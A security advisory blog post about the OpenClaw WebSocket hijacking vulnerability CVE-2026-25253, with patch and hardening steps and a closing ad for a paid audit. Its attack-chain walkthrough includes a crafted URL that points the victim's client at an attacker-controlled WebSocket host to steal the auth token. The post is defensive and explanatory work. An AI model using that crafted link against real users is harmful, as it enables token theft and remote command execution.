"ClawBleed" (CVE-2026-25253): The OpenClaw WebSocket RCE You Need to Patch Now

In January 2026, security researcher Mav Levin disclosed CVE-2026-25253 — a cross-site WebSocket hijacking vulnerability in OpenClaw and Clawdbot that allows any malicious website to steal your authentication token and run arbitrary commands on your machine. The community named it ClawBleed.

It's since been confirmed as actively exploited. Hudson Rock documented Vidar infostealer variants specifically targeting OpenClaw agent identities. If you're running an unpatched version, this is the most critical issue to fix today.

What ClawBleed Actually Does

The vulnerability stems from a single design flaw: OpenClaw's control UI reads a gatewayUrl parameter from the URL query string without validating its origin, and auto-connects to it on page load.

Here's the attack chain:

1. Attacker crafts a URL pointing to their malicious WebSocket server: https://attack.example.com/evil.html?gatewayUrl=ws://attacker.com
2. Victim clicks the link (or is redirected there by any means)
3. OpenClaw's UI connects to the attacker's WebSocket server thinking it's the local gateway
4. Attacker's server responds with a valid-looking auth challenge
5. UI sends the authentication token to authenticate
6. Attacker now has the token — and with it, full API access to the victim's OpenClaw instance
7. From there: arbitrary shell command execution, file reads, data exfiltration

Are You Affected?

Check your version:

openclaw --version

• 2026.2.2 or later — patched, not vulnerable to ClawBleed specifically
• Any version before 2026.2.2 — vulnerable, update immediately
• Clawdbot users — check the Clawdbot changelog separately; the patch timeline differs

Mitigation Steps

• 1
  Update to 2026.2.2 or later

  This is the primary fix. The patch validates the WebSocket origin against an allowlist and removes the auto-connect-from-querystring behavior.

  npm install -g openclaw@latest
  openclaw --version  # confirm 2026.2.2+

• 2
  Set an explicit gateway bind address

  Don't leave the gateway binding to the default. Force it to loopback only:

  # In openclaw.json
  "gateway": {
    "bind": "127.0.0.1",
    "port": 3721
  }

  Never use 0.0.0.0 unless you understand exactly what network you're exposing to.

• 3
  Enable origin validation

  In patched versions, you can explicitly configure the allowed origins for WebSocket connections:

  "gateway": {
    "allowedOrigins": ["http://localhost:3721", "http://127.0.0.1:3721"]
  }

• 4
  Rotate your auth token

  If you were running a pre-2026.2.2 version and clicked any suspicious links, assume your token is compromised. Regenerate it:

  openclaw auth reset
  openclaw gateway restart

• 5
  Check for unauthorized agent activity

  Review your agent logs for any commands you didn't issue:

  openclaw logs --since 7d | grep -i "exec\|shell\|command"

How It Relates to Other CVEs

OpenClaw has accumulated several CVEs in its first year. They're distinct issues — don't assume patching one covers the others:

• CVE-2026-25253 (ClawBleed, CVSS 8.8) — Cross-site WebSocket hijacking, RCE via token exfiltration. Patched in 2026.2.2.
• CVE-2026-32922 (CVSS critical) — Privilege escalation affecting cloud/containerized deployments. Separate patch required.
• CVE-2026-33579 — Privilege escalation via local exploit path. See our full guide.

If you're managing an OpenClaw setup for clients or running it on shared infrastructure, the OpenClawCVEs GitHub tracker maintained by @jgamblin is the best single source for staying current on all disclosed vulnerabilities.

Why This Keeps Happening

ClawBleed isn't a freak accident — it's the predictable result of shipping a powerful local agent framework at speed without a mature security review process. The gatewayUrl-from-querystring pattern is a textbook WebSocket hijacking setup that any security review would have flagged.

OpenClaw's security posture is improving — the team now publishes CVE advisories, maintains a security policy, and ships patches faster. But with 135,000+ exposed instances discovered by researchers in early 2026 and active exploitation confirmed, the risk is real and current.

If you're running OpenClaw for business use — especially with access to sensitive files, email, or financial tools — the security configuration deserves serious attention. This is a large part of what our $49 audit covers.